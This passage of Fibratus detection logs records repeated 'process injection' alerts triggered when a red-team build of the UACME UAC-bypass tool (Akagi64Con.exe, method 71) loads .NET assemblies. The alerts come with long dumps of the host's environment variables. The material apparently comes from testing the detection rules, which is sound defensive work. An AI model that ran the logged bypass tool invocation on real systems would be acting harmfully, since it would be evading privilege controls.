Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:27+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\TlbImp\4dfa1bb571c88820b6aca61c319b7b17\TlbImp.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1675122 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:18:00.2217782 +0100 CET + Params: base_address➜ 7ffb41e90000, checksum➜ 0, default_address➜ 7ffb41e90000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\TlbImp\4dfa1bb571c88820b6aca61c319b7b17\TlbImp.ni.exe, image_size➜ 864256, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, rule.name: .NET assembly loaded by unmanaged process, technique.id: T1055, technique.name: Process Injection + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:27+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\vbc\d9c1d8acb32bfce60ab18f23202042fc\vbc.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1675135 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:18:00.2226693 +0100 CET + Params: base_address➜ 7ffb41ef0000, checksum➜ 0, default_address➜ 7ffb41ef0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\vbc\d9c1d8acb32bfce60ab18f23202042fc\vbc.ni.exe, image_size➜ 495616, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: .NET assembly loaded by unmanaged process + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:27+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\vbc\d9c1d8acb32bfce60ab18f23202042fc\vbc.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1675135 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:18:00.2226693 +0100 CET + Params: base_address➜ 7ffb41ef0000, checksum➜ 0, default_address➜ 7ffb41ef0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\vbc\d9c1d8acb32bfce60ab18f23202042fc\vbc.ni.exe, image_size➜ 495616, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/ + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: 